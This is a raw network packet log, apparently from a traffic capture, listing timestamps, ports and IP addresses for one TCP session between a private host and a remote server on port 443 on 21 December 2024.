Dec 21, 2024 19:24:50.768445015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768542051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768542051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768593073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768593073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768640995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768640995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768645048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.768688917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768688917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768707991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.768800974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768800974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768896103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768965960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768965960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769015074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769031048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.769063950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769112110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769161940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769161940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769263983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769263983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769309044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769309044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769309998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769357920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769407034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769505978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769505978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769552946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769602060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769701958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769701958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769701958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769748926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769798994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769798994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769840956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.769897938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769898891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769947052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769947052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.769994020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770045996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770045996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770045996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770092964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770140886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770190001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770287991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770344019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770447969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770526886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770670891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770786047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.770924091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.978322029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.978535891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030075073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030121088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030153036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030179024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030462027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030515909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030539036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030575991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030601978 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030698061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030698061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030725002 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030749083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030749083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030849934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030849934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030894995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.030945063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030945063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030992985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.030992985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031040907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031090975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031090975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031091928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031110048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.031138897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031188011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031286955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031286955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031287909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031316042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.031364918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031364918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031364918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031410933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031449080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.031460047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031508923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031508923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031610012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031610012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031657934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031708002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031708002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031758070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031758070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031758070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031853914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031853914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031889915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.031955957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.031955957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032001972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032053947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032053947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032053947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032053947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032100916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032170057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032170057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032273054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032273054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032320976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032370090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032370090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032391071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.032433987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032434940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032434940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032531023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032531023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032629013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032629013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032676935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032727003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032727003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032774925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032831907 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.032874107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032874107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032874107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032892942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.032931089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032931089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032975912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.032975912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033025026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033025026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033087969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033088923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033173084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033173084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033220053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033257008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.033283949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033283949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033333063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033333063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033381939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033381939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033401966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.033520937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033570051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033570051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033667088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033668041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033716917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033716917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033716917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033765078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033777952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.033814907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033863068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033864021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033884048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.033963919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.033963919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034018040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034018040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034060955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034111977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034111977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034112930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034112930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034197092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034197092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034300089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034300089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034344912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034344912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034344912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034362078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.034396887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034396887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034420013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.034460068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034460068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034553051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034553051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034651995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034651995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034699917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034749985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034749985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034749985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034797907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034847021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034897089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034897089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034993887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.034995079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035011053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.035051107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035051107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035094976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035094976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035144091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035244942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035245895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035291910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035342932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035342932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035391092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035439968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035439968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035439968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035473108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.035511017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035562038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035562038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035609961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035707951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035707951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035757065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035757065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035805941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035856009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035856009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035953045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.035953999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036001921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036001921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036017895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.036052942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036099911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036150932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036150932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036150932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036150932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036237955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036237955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036358118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036358118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036403894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036403894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036453962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036453962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036501884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036501884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036523104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.036617041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036617041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036664963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036715031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036715031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036762953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036813021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036813974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036813974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036860943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036959887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.036959887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037056923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037058115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037074089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.037115097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037115097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037116051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037116051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037158966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037159920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037208080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037306070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037306070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037355900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037355900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037357092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037405968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037405968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037456036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037456036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037502050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037550926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037600994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037648916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037655115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.037702084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037702084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037702084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037750006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037750006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037797928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037798882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037847042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037895918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037945032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037993908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.037995100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038043976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038043976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038060904 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.038104057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038104057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038150072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038150072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038150072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038197041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038248062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038295984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038295984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038393021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038393021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038443089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038443089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038444042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038496017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038543940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038543940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038695097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038718939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:51.038755894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038755894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038800001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038800001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038847923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038897038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038897038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038950920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:51.038995028 CET	49766	443	192.168.11.20	172.67.184.254
